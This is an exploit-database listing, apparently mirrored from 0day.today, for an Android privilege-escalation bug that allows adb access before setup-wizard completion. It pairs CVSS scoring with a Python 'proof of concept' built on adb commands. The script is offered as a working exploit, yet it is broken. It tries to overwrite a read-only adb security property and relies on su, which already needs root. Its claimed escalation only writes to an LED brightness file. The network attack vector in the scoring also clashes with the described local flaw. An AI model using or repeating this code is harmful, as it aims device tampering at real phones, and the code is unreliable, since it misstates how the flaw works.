Lucene search

K
zdtAmirhossein Bahramizadeh1337DAY-ID-39237
HistoryJan 11, 2024 - 12:00 a.m.

Android DeviceVersionFragment.java Privilege Escalation Exploit

2024-01-1100:00:00
Amirhossein Bahramizadeh
0day.today
160
android
version fragment
privilege escalation
adb
exploit

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

7.5 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

5.1%

Proof of concept exploit for a privilege escalation issue in Android. In checkDebuggingDisallowed of DeviceVersionFragment.java, there is a possible way to access adb before SUW completion due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

#!/usr/bin/env python

import subprocess

# Connect to the device via ADB
subprocess.run(["adb", "devices"])

# Check if the device is in secure USB mode
device = subprocess.run(["adb", "shell", "getprop", "ro.adb.secure"], stdout=subprocess.PIPE)
if "1" in device.stdout.decode():
    # Secure USB mode is enabled, so we need to disable it
    subprocess.run(["adb", "shell", "setprop", "ro.adb.secure", "0"])

# Exploit the vulnerability by accessing ADB before SUW completion
subprocess.run(["adb", "shell"])

# Escalate privileges by executing commands as the root user
subprocess.run(["adb", "shell", "su", "-c", "echo 0 > /sys/class/leds/led:green: charging/brightness"], check=True)
subprocess.run(["adb", "shell", "su", "-c", "echo 100 > /sys/class/leds/led:green: charging/brightness"], check=True)

10 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

CHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

7.5 High

AI Score

Confidence

High

0.0004 Low

EPSS

Percentile

5.1%